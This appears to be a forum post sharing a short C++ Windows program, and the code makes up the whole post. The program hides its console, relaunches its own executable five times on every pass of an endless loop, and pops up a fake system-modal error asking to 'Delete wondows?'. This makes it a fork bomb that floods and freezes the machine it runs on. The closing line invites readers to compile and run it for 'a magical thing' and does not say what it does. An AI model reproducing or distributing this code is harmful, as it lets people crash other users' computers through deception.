0
王祥羽
修练者
修练者
#include<windows.h>
using namespace std;
void HideConsole()
{
::ShowWindow(::GetConsoleWindow(), SW_HIDE);
}
void ShowConsole()
{
::ShowWindow(::GetConsoleWindow(), SW_SHOW);
}
bool IsConsoleVisible()
{
return ::IsWindowVisible(::GetConsoleWindow()) != FALSE;
}
void OpenExe(char Name[110]){
ShellExecuteA(NULL,"open",Name,NULL,NULL,SW_SHOW);
return;
}
int main(void){
while(1){
if(IsConsoleVisible()){
HideConsole();
}
OpenExe("SHIT.exe");
OpenExe("SHIT.exe");
OpenExe("SHIT.exe");
OpenExe("SHIT.exe");
OpenExe("SHIT.exe");
MessageBox(NULL,"There is no space in your computer.\n\nDelete wondows?","Oh shit!",MB_SYSTEMMODAL+MB_ICONERROR);
}
return 0;
}
将代码保存为"SHIT.cpp",编译运行后会得到一个神奇的东西
1
1
0
0
0
0